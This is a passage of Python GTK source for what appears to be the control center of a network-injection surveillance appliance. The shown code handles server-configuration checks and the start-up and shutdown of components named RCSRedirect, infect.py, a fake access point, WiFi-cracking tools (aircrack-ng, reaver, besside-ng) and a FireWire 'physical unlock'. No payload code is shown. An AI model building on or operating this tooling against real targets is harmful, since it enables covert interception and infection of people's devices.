                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.fa_running == True or self.fakeap_started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
	    elif self.py_running == True or self.started_firewire == True:
	        self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return

	    address = self.builder.get_object("entry7").get_text()
            if len(address) == 0 or address == None:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Network address is empty.\nPlease fix the network address of server.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            try:
                inet_pton(AF_INET, address)
            except:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Network address is not correct.\nPlease fix the network address of server.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            port = self.builder.get_object("entry8").get_text()
            if len(port) == 0 or port == None:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Port is empty.\nPlease fix the port of server.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            try:
                port = int(port)
            except:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Port is not correct.\nPlease fix the port of server.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            if port <= 0 or port >= 65536:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Port is not correct.\nPlease fix the port of server.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            if os.path.exists('/opt/td-config/share/server') == True:
                os.remove('/opt/td-config/share/server')

            if os.path.exists('/opt/td-config/share/port') == True:
                os.remove('/opt/td-config/share/port')

            f = open('/opt/td-config/share/server', 'w')
            f.write("{}\n".format(address))
            f.close()

            f = open('/opt/td-config/share/port', 'w')
            f.write("{}\n".format(port))
            f.close()

            self.loadserverconfig()

            if os.path.exists('/opt/td-config/share/server') == False or os.path.exists('/opt/td-config/share/port') == False or os.path.exists('/opt/td-config/share/key') == False or os.path.exists('/opt/td-config/share/cookie') == False:
	        self.dialog29 = self.builder.get_object("messagedialog29")
	        msgdia = 'Server configuration is not correct.\nPlease fix the server configuration on\nserver management:\nnetwork address, port and import key.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

	    cerror = 0

            if os.path.exists('/opt/td-config/share/server') == True:
                ccount = 0

                for address in open('/opt/td-config/share/server').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if os.path.exists('/opt/td-config/share/port') == True:
                ccount = 0

                for address in open('/opt/td-config/share/port').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if os.path.exists('/opt/td-config/share/key') == True:
                ccount = 0

                for address in open('/opt/td-config/share/key').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if os.path.exists('/opt/td-config/share/cookie') == True:
                ccount = 0

                for address in open('/opt/td-config/share/cookie').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if cerror == 1:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Server configuration is not correct.\nPlease fix the server configuration on\nserver management:\nnetwork address, port and import key.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

	    subprocess.call("echo 'PROXY_IP = auto' > /opt/td-config/share/redirect_fqdn.txt", shell=True)

	    self.do_gui(self.builder.get_object("button17").set_label, "Stop")
            subprocess.call('rm /opt/td-config/share/NetworkInjectorConfig.zip 2> /dev/null', shell=True)
	    subprocess.call('rm /opt/td-config/share/NetworkInjectorUpgrade.deb 2> /dev/null', shell=True)
	    subprocess.call('rm /tmp/stat_sended 2> /dev/null', shell=True)
	    subprocess.call('rm /tmp/stat_nosended 2> /dev/null', shell=True)
	    subprocess.call('rm /tmp/conf_received 2> /dev/null', shell=True)
	    subprocess.call('rm /tmp/conf_noreceived 2> /dev/null', shell=True)
	    subprocess.call('rm /tmp/upgrade_received 2> /dev/null', shell=True)
	    subprocess.call('rm /tmp/upgrade_noreceived 2> /dev/null', shell=True)

	    self.builder.get_object("button46").set_sensitive(False)
            self.builder.get_object("accellabel12").set_sensitive(False)
	    self.builder.get_object("accellabel13").set_sensitive(False)
	    self.builder.get_object("entry7").set_sensitive(False)
	    self.builder.get_object("entry8").set_sensitive(False)
	    self.builder.get_object("button4").set_sensitive(False)

            conf =  '[COMMON]\n'
            conf += 'log_level = 4\n'
            conf += 'sniffing_iface = "lo"\n'
            conf += 'sniffing_iface_channel = 0\n'
            conf += 'response_iface = "lo"\n'
            conf += 'pcap_filter = ""\n'
            conf += '\n'
            conf += open('/opt/td-config/share/rcsredirect.conf.orig').read()
            open('/opt/td-config/share/rcsredirect.conf', 'w').write(conf)
            subprocess.call('ulimit -c 10000000; ./bin/RCSRedirect &', shell=True, cwd='/opt/td-config')
            self.waitconf = True
	    t = threading.Thread(target = self.confile)
            t.start()
	    self.started_newconf = True
	else:
	    if self.RCS_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.RCS_pid), shell=True)

            subprocess.call('killall RCSRedirect 2> /dev/null', shell=True)
	    self.waitconf = False
	    self.started_newconf = False

	    self.builder.get_object("button17").set_label("Configure")
	    self.builder.get_object("label46").set_label("")
	    self.builder.get_object("button46").set_sensitive(True)
	    self.builder.get_object("accellabel12").set_sensitive(True)
            self.builder.get_object("accellabel13").set_sensitive(True)
            self.builder.get_object("entry7").set_sensitive(True)
            self.builder.get_object("entry8").set_sensitive(True)
            self.builder.get_object("button4").set_sensitive(True)
 
	    subprocess.call('echo "{} Stopping for the new configuration and new software update." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def newconf2(self, *args):
        if self.waitconf == False:
            if self.ni2_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return

            address = self.builder.get_object("entry9").get_text()
            if len(address) == 0 or address == None:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Network address is empty.\nPlease fix the network address of server.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            try:
                inet_pton(AF_INET, address)
            except:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Network address is not correct.\nPlease fix the network address of server.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            port = self.builder.get_object("entry10").get_text()
            if len(port) == 0 or port == None:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Port is empty.\nPlease fix the port of server.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            try:
                port = int(port)
            except:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Port is not correct.\nPlease fix the port of server.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            if port <= 0 or port >= 65536:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Port is not correct.\nPlease fix the port of server.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            if os.path.exists('/opt/td-config/share/server') == True:
                os.remove('/opt/td-config/share/server')

            if os.path.exists('/opt/td-config/share/port') == True:
                os.remove('/opt/td-config/share/port')

            f = open('/opt/td-config/share/server', 'w')
            f.write("{}\n".format(address))
            f.close()

            f = open('/opt/td-config/share/port', 'w')
            f.write("{}\n".format(port))
            f.close()

            self.loadserverconfig2()

            if os.path.exists('/opt/td-config/share/server') == False or os.path.exists('/opt/td-config/share/port') == False or os.path.exists('/opt/td-config/share/key') == False or os.path.exists('/opt/td-config/share/cookie') == False:
                self.dialog29 = self.builder.get_object("messagedialog29")
	        msgdia = 'Server configuration is not correct.\nPlease fix the server configuration on\nserver management:\nnetwork address, port and import key.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

	    cerror = 0
        
            if os.path.exists('/opt/td-config/share/server') == True:
                ccount = 0
            
                for address in open('/opt/td-config/share/server').readlines():
                    ccount += 1
                    break
            
                if ccount != 1:
                    cerror = 1
            
            if os.path.exists('/opt/td-config/share/port') == True:
                ccount = 0
            
                for address in open('/opt/td-config/share/port').readlines():
                    ccount += 1
                    break
            
                if ccount != 1:
                    cerror = 1
            
            if os.path.exists('/opt/td-config/share/key') == True:
                ccount = 0
            
                for address in open('/opt/td-config/share/key').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if os.path.exists('/opt/td-config/share/cookie') == True:
                ccount = 0

                for address in open('/opt/td-config/share/cookie').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if cerror == 1:
                self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Server configuration is not correct.\nPlease fix the server configuration on\nserver management:\nnetwork address, port and import key.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    return

            retip = None
            ispriv = False
            adetect = False

            if len(self.builder.get_object("entry3").get_text()) == 0 or self.builder.get_object("entry3").get_text() == None:
                adetect = True
		retip = "auto"
            else:
                adetect = False
                retip = self.builder.get_object("entry3").get_text()

            if retip != "auto":
                try:
                    inet_pton(AF_INET, retip)
                except:
                    self.dialog16 = self.builder.get_object("messagedialog16")
                    msgdia = 'Public IP address is not correct.\nPlease correct it first.'
                    self.dialog16.format_secondary_text(msgdia)
                    self.response16 = self.dialog16.run()
                    if self.response16 == Gtk.ResponseType.OK:
                        self.dialog16.hide()
                        return

                f  = unpack('!I', inet_pton(AF_INET, retip))[0]
                private = ([ 2130706432 , 4278190080 ], [ 3232235520 , 4294901760 ], [ 2886729728 , 4293918720 ], [ 167772160 , 4278190080 ])

                for net in private:
                    if (f & net[1] == net[0]):
                        ispriv = True
            else:
                ispriv = True

            if ispriv == True:
                self.dialog17 = self.builder.get_object("messagedialog17")
                msgdia = 'In the Network Injector tab, the\n' + retip + ' is not a public IP address.\nDo you want to continue?'
                self.dialog17.format_secondary_text(msgdia)
                self.response17 = self.dialog17.run()
                if self.response17 == Gtk.ResponseType.NO:
                    self.dialog17.hide()
                    return
                elif self.response17 == Gtk.ResponseType.YES:
                    self.dialog17.hide()

            if ispriv == True:
                subprocess.call("echo 'PROXY_IP = auto' > /opt/td-config/share/redirect_fqdn.txt", shell=True)
            else:
                subprocess.call("echo 'PROXY_IP = {}' > /opt/td-config/share/redirect_fqdn.txt".format(retip), shell=True)

	    self.do_gui(self.builder.get_object("button45").set_label, "Stop")
	    subprocess.call('rm /opt/td-config/share/NetworkInjectorConfig.zip 2> /dev/null', shell=True)
            subprocess.call('rm /opt/td-config/share/NetworkInjectorUpgrade.deb 2> /dev/null', shell=True)
            subprocess.call('rm /tmp/stat_sended 2> /dev/null', shell=True)
            subprocess.call('rm /tmp/stat_nosended 2> /dev/null', shell=True)
            subprocess.call('rm /tmp/conf_received 2> /dev/null', shell=True)
	    subprocess.call('rm /tmp/conf_noreceived 2> /dev/null', shell=True)
            subprocess.call('rm /tmp/upgrade_received 2> /dev/null', shell=True)
            subprocess.call('rm /tmp/upgrade_noreceived 2> /dev/null', shell=True)

	    self.builder.get_object("button47").set_sensitive(False)
            self.builder.get_object("accellabel14").set_sensitive(False)
            self.builder.get_object("accellabel15").set_sensitive(False)
	    self.builder.get_object("entry9").set_sensitive(False)
	    self.builder.get_object("entry10").set_sensitive(False)
            self.builder.get_object("button44").set_sensitive(False)

            conf =  '[COMMON]\n'
            conf += 'log_level = 4\n'
            conf += 'sniffing_iface = "lo"\n'
            conf += 'sniffing_iface_channel = 0\n'
            conf += 'response_iface = "lo"\n'
            conf += 'pcap_filter = ""\n'
            conf += '\n'
            conf += open('/opt/td-config/share/rcsredirect.conf.orig').read()
            open('/opt/td-config/share/rcsredirect.conf', 'w').write(conf)
            subprocess.call('ulimit -c 10000000; ./bin/RCSRedirect &', shell=True, cwd='/opt/td-config')
            self.waitconf = True
            t = threading.Thread(target = self.confile2)
            t.start()
	    self.started_newconf = True
        else:
            if self.RCS_pid != None:
                subprocess.call('kill -KILL {} 2> /dev/null'.format(self.RCS_pid), shell=True)

            subprocess.call('killall RCSRedirect 2> /dev/null', shell=True)
            self.waitconf = False
	    self.started_newconf = False

	    self.builder.get_object("button45").set_label("Configure")
            self.builder.get_object("label47").set_label("")
	    self.builder.get_object("button47").set_sensitive(True)
	    self.builder.get_object("accellabel14").set_sensitive(True)
            self.builder.get_object("accellabel15").set_sensitive(True)
            self.builder.get_object("entry9").set_sensitive(True)
            self.builder.get_object("entry10").set_sensitive(True)
            self.builder.get_object("button44").set_sensitive(True)

            subprocess.call('echo "{} Stopping for the new configuration and new software update." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def quit(self, *args):
	if self.controlset == 'tactical':
	    if self.ni_running == True or self.wi_running == True or self.fa_running == True or self.py_running == True:
		self.dialog10 = self.builder.get_object("messagedialog10")
                self.response10 = self.dialog10.run()
                if self.response10 == Gtk.ResponseType.OK:
                    self.dialog10.hide()

	        return True

	    if self.started_newconf == True or self.started == True or self.started_firewire == True or self.fakeap_started == True or self.status == 'started':
	        self.dialog9 = self.builder.get_object("messagedialog9")
                self.response9 = self.dialog9.run()
                if self.response9 == Gtk.ResponseType.NO:
                    self.dialog9.hide()
                    return True
                elif self.response9 == Gtk.ResponseType.YES:
                    self.dialog9.hide()

	    subprocess.call("pkill -KILL -f links_gui.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_fap.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_nieth.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_nifap.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_niwifieth.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_niwifi.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_wi.py 2> /dev/null", shell=True)
	    subprocess.call("pkill -KILL -f create_sdcard.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f rules_gui.py 2> /dev/null", shell=True)

	    if self.started_newconf == True:
		self.newconf()	

	    if os.path.exists('/opt/td-config/run/NetworkManager.conf') == True:
                subprocess.call("rm -f /etc/NetworkManager/NetworkManager.conf", shell=True)
                subprocess.call("mv -f /opt/td-config/run/NetworkManager.conf /etc/NetworkManager/", shell=True)
                subprocess.call("killall -1 NetworkManager", shell=True)
		time.sleep(1)

	    if self.started == True:
		self.started = False
		self.started_exit = True
	        subprocess.call('killall -SIGKILL RCSRedirect 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f names.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f links.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f links_gui.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f clients.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f clients2.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f http_conntest.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f infect.py 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL iw 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL ngrep 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL airtun-ng 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)
	    else:
	        subprocess.call('kill -KILL iw 2> /dev/null', shell=True) 

	    if self.ngrep_started == True:
	        if self.ngrep_pid != None:
		    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.ngrep_pid), shell=True)

	        subprocess.call('killall -SIGKILL ngrep 2> /dev/null', shell=True)
		
	    if self.started_firewire == True:
		self.started_firewire = False

	        if self.firewiretimeout != None:
		    GObject.source_remove(self.firewiretimeout)
		    self.firewiretimeout = None

	        subprocess.call('kill -KILL {} 2> /dev/null'.format(self.incept_pid), shell=True)
	        subprocess.call('killall -SIGKILL incept 2> /dev/null', shell=True)
		subprocess.call("for i in `ps aux | grep incept | grep -v grep | awk '{{print $2}}'`; do kill -KILL $i; done", shell=True)
	    else:
		subprocess.call("for i in `ps aux | grep incept | grep -v grep | awk '{{print $2}}'`; do kill -KILL $i; done", shell=True)
 
	    if self.status == 'started':
                self.status = 'stopping'
                while not self.status == 'stopped': time.sleep(1)

	    if self.status == 'started':
                subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)

	    if self.fakeap_started == True:
		self.started_exit2 = True
	        self.fakeap_started = False

		subprocess.call('pkill -KILL -f http_conntest.py 2> /dev/null', shell=True)

	        if self.airbase_pid != None:
		    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.airbase_pid), shell=True)

                subprocess.call('killall -SIGKILL airbase-ng 2> /dev/null', shell=True)

		subprocess.call("iptables -F", shell=True)
                subprocess.call("iptables -t nat -F", shell=True)

	        if self.dnsmasq_pid != None:
		    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.dnsmasq_pid), shell=True)

	        subprocess.call('killall -SIGKILL dnsmasq 2> /dev/null', shell=True)
                subprocess.call('rm /etc/dnsmasq.conf 2> /dev/null', shell=True)
	        time.sleep(1)

                subprocess.call('dnsmasq -x /var/run/dnsmasq/dnsmasq.pid -u dnsmasq -r /var/run/dnsmasq/resolv.conf -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new', shell=True)

		while os.path.exists('/var/run/dnsmasq/dnsmasq.pid') != True:
                    time.sleep(0.5)

	    subprocess.call('/opt/td-config/bin/airmon-ng stop mon0 > /dev/null', shell=True)

	    GObject.source_remove(self.signaltimeout)
	    GObject.source_remove(self.signaltimeout2)

	    subprocess.call("killall -SIGKILL gksudo 2> /dev/null", shell=True)
	    subprocess.call("killall -SIGKILL tail 2> /dev/null", shell=True)

	    subprocess.call('echo "{} Quit of Tactical Control Center." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	else:
	    if self.ni2_running == True:
		self.dialog10 = self.builder.get_object("messagedialog10")
                self.response10 = self.dialog10.run()
                if self.response10 == Gtk.ResponseType.OK:
                    self.dialog10.hide()

                return True

	    if self.started_newconf == True:
                self.dialog9 = self.builder.get_object("messagedialog9")
                self.response9 = self.dialog9.run()
                if self.response9 == Gtk.ResponseType.NO:
                    self.dialog9.hide()
                    return True
                elif self.response9 == Gtk.ResponseType.YES:
                    self.dialog9.hide()

	    if self.started_newconf == True:
		self.newconf2()

	    try:
		if self.controlset == 'appliance' and subprocess.check_output("ps ax | grep -i RCSRedirect | grep -v grep", shell=True).strip() != '0':
		    pass
		else:
	            subprocess.call('echo "{} Quit of Appliance Control Center." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	    except:
		subprocess.call('echo "{} Quit of Appliance Control Center." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

	    subprocess.call("killall -SIGKILL gksudo 2> /dev/null", shell=True)

            if self.started == False:
                subprocess.call("killall -SIGKILL tail 2> /dev/null", shell=True)

	if os.path.exists("/opt/td-config/run/logsystem") == True and os.path.exists("/var/log/syslog") == True:
	    if os.path.exists("/var/log/td-config") == False:
		os.mkdir("/var/log/td-config")

	    thelog = "log_" + self.getlocaltime()
	    logfile = "/var/log/td-config/" + thelog

	    if os.path.exists(logfile) == False:
	        os.mkdir(logfile)
	        subprocess.call("cp /opt/td-config/run/logsystem {}".format(logfile), shell=True)
	        subprocess.call("cp /var/log/syslog {}".format(logfile), shell=True)

		if os.path.exists("/tmp/upgrade.log") == True:
		    subprocess.call("cp /tmp/upgrade.log {}".format(logfile), shell=True)
		    subprocess.call("rm -f /tmp/upgrade.log", shell=True)

	        subprocess.call("cd /var/log/td-config/; tar -cvzf {}.tar.gz {} > /dev/null".format(thelog, thelog), shell=True)
	        subprocess.call("rm -Rf {}".format(logfile), shell=True)

        Gtk.main_quit()

    def quit2(self, *args):
        if self.controlset == 'tactical':
	    subprocess.call("pkill -KILL -f links_gui.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_fap.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_nieth.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_nifap.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_niwifieth.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_niwifi.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f link_test_wi.py 2> /dev/null", shell=True)
	    subprocess.call("pkill -KILL -f create_sdcard.py 2> /dev/null", shell=True)
            subprocess.call("pkill -KILL -f rules_gui.py 2> /dev/null", shell=True)

            if self.started_newconf == True:
                self.newconf()

	    if os.path.exists('/opt/td-config/run/NetworkManager.conf') == True:
                subprocess.call("rm -f /etc/NetworkManager/NetworkManager.conf", shell=True)
                subprocess.call("mv -f /opt/td-config/run/NetworkManager.conf /etc/NetworkManager/", shell=True)
                subprocess.call("killall -1 NetworkManager", shell=True)
		time.sleep(1)

	    if self.started == True:
                self.started = False
                self.started_exit = True
                subprocess.call('killall -SIGKILL RCSRedirect 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f names.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f links.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f links_gui.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f clients.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f clients2.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f http_conntest.py 2> /dev/null', shell=True)
                subprocess.call('pkill -KILL -f infect.py 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL iw 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL ngrep 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL airtun-ng 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)
            else:
                subprocess.call('kill -KILL iw 2> /dev/null', shell=True)

            if self.ngrep_started == True:
                if self.ngrep_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.ngrep_pid), shell=True)

                subprocess.call('killall -SIGKILL ngrep 2> /dev/null', shell=True)
		
            if self.started_firewire == True:
		self.started_firewire = False

		if self.firewiretimeout != None:
		    GObject.source_remove(self.firewiretimeout)
		    self.firewiretimeout = None

                subprocess.call('kill -KILL {} 2> /dev/null'.format(self.incept_pid), shell=True)
                subprocess.call('killall -SIGKILL incept 2> /dev/null', shell=True)
		subprocess.call("for i in `ps aux | grep incept | grep -v grep | awk '{{print $2}}'`; do kill -KILL $i; done", shell=True)
	    else:
		subprocess.call("for i in `ps aux | grep incept | grep -v grep | awk '{{print $2}}'`; do kill -KILL $i; done", shell=True)

	    if self.status == 'started':
                self.status = 'stopping'
                while not self.status == 'stopped': time.sleep(1)

            if self.status == 'started':
                subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
                subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)

            if self.fakeap_started == True:
		self.started_exit2 = True
		self.fakeap_started = False

		subprocess.call('pkill -KILL -f http_conntest.py 2> /dev/null', shell=True)

                if self.airbase_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.airbase_pid), shell=True)

                subprocess.call('killall -SIGKILL airbase-ng 2> /dev/null', shell=True)

		subprocess.call("iptables -F", shell=True)
                subprocess.call("iptables -t nat -F", shell=True)

                if self.dnsmasq_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.dnsmasq_pid), shell=True)

                subprocess.call('killall -SIGKILL dnsmasq 2> /dev/null', shell=True)
                subprocess.call('rm /etc/dnsmasq.conf 2> /dev/null', shell=True)
                time.sleep(1)

                subprocess.call('dnsmasq -x /var/run/dnsmasq/dnsmasq.pid -u dnsmasq -r /var/run/dnsmasq/resolv.conf -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new', shell=True)

		while os.path.exists('/var/run/dnsmasq/dnsmasq.pid') != True:
                    time.sleep(0.5)

	    subprocess.call('/opt/td-config/bin/airmon-ng stop mon0 > /dev/null', shell=True)

            GObject.source_remove(self.signaltimeout)
            GObject.source_remove(self.signaltimeout2)

	    subprocess.call("killall -SIGKILL gksudo 2> /dev/null", shell=True)

            subprocess.call('echo "{} Quit of Tactical Control Center." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
        else:
            if self.started_newconf == True:
                self.newconf2()

	    subprocess.call("killall -SIGKILL gksudo 2> /dev/null", shell=True)

            subprocess.call('echo "{} Quit of Appliance Control Center." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

        subprocess.call("killall -SIGKILL tail 2> /dev/null", shell=True)

	if os.path.exists("/opt/td-config/run/logsystem") == True and os.path.exists("/var/log/syslog") == True:
            if os.path.exists("/var/log/td-config") == False:
                os.mkdir("/var/log/td-config")

            thelog = "log_" + self.getlocaltime()
            logfile = "/var/log/td-config/" + thelog

            if os.path.exists(logfile) == False:
                os.mkdir(logfile)
                subprocess.call("cp /opt/td-config/run/logsystem {}".format(logfile), shell=True)
                subprocess.call("cp /var/log/syslog {}".format(logfile), shell=True)

                if os.path.exists("/tmp/upgrade.log") == True:
                    subprocess.call("cp /tmp/upgrade.log {}".format(logfile), shell=True)
                    subprocess.call("rm -f /tmp/upgrade.log", shell=True)

                subprocess.call("cd /var/log/td-config/; tar -cvzf {}.tar.gz {} > /dev/null".format(thelog, thelog), shell=True)
                subprocess.call("rm -Rf {}".format(logfile), shell=True)

        Gtk.main_quit()

    def selectinterface(self, *args):
	try:
        	iface = self.ifacelist[self.builder.get_object("comboboxtext1").get_active_text().split()[0]]
	except:
		return

        self.builder.get_object("comboboxtext2").remove_all()
	if iface['dev'] == self.wirelessiface and self.fakeap_started == True:
	    self.builder.get_object("comboboxtext2").prepend_text("Use the same interface")
	else:
	   iswifi = False

           for snif, value in self.ifacelist.items():
               if value['type'] != iface['type']: continue
               if value['connected'] and (value['type'] == 'wireless') and (iface['dev'] != value['dev']): continue
	       if iface['dev'] == snif:
		   if iface['type'] == 'wireless':
		       iswifi = True
		   else:
	               self.builder.get_object("comboboxtext2").prepend_text("Use the same interface")
	       else:
	           if self.fakeap_started == True and snif == self.wirelessiface:
	               continue
	           elif self.status == 'started' and snif == self.wirelessiface2['dev']:
		       continue
	           else:
		       if string.find(snif, "wlan") != -1:
		           if string.find(snif, "wlan0") != -1:
                               self.builder.get_object("comboboxtext2").prepend_text(snif + ' (Internal 802.11 WiFi device)')
		           else:
			       self.builder.get_object("comboboxtext2").prepend_text(snif + ' (External 802.11 WiFi device)')
		       else:
			   if string.find(snif, "eth0") != -1:
                               self.builder.get_object("comboboxtext2").prepend_text(snif + ' (Internal Ethernet device)')
                           else:
                               self.builder.get_object("comboboxtext2").prepend_text(snif + ' (External Ethernet device)')

	   if iswifi == True:
	       self.builder.get_object("comboboxtext2").append_text("Use the same interface")

        self.builder.get_object("comboboxtext2").set_active(0)

	if iface['dev'] == self.wirelessiface and self.fakeap_started == True:
            self.builder.get_object("comboboxtext2").set_sensitive(False)
	else:
	    self.builder.get_object("comboboxtext2").set_sensitive(True)
	    
        self.builder.get_object("button21").set_sensitive(True)

    def selectinterface2(self, *args):
	try:
            if subprocess.check_output("ps ax | grep -i RCSRedirect | grep -v grep", shell=True).strip() != '0':
		self.builder.get_object("comboboxtext8").set_active(0)
                self.builder.get_object("comboboxtext9").set_active(0)
		return
	    else:
		pass
	except:
	    pass

        try:
                iface = self.ifacelist[self.builder.get_object("comboboxtext8").get_active_text().split()[0]]
        except:
                return

        self.builder.get_object("comboboxtext9").remove_all()
        for snif, value in self.ifacelist.items():
           if value['type'] != iface['type']: continue
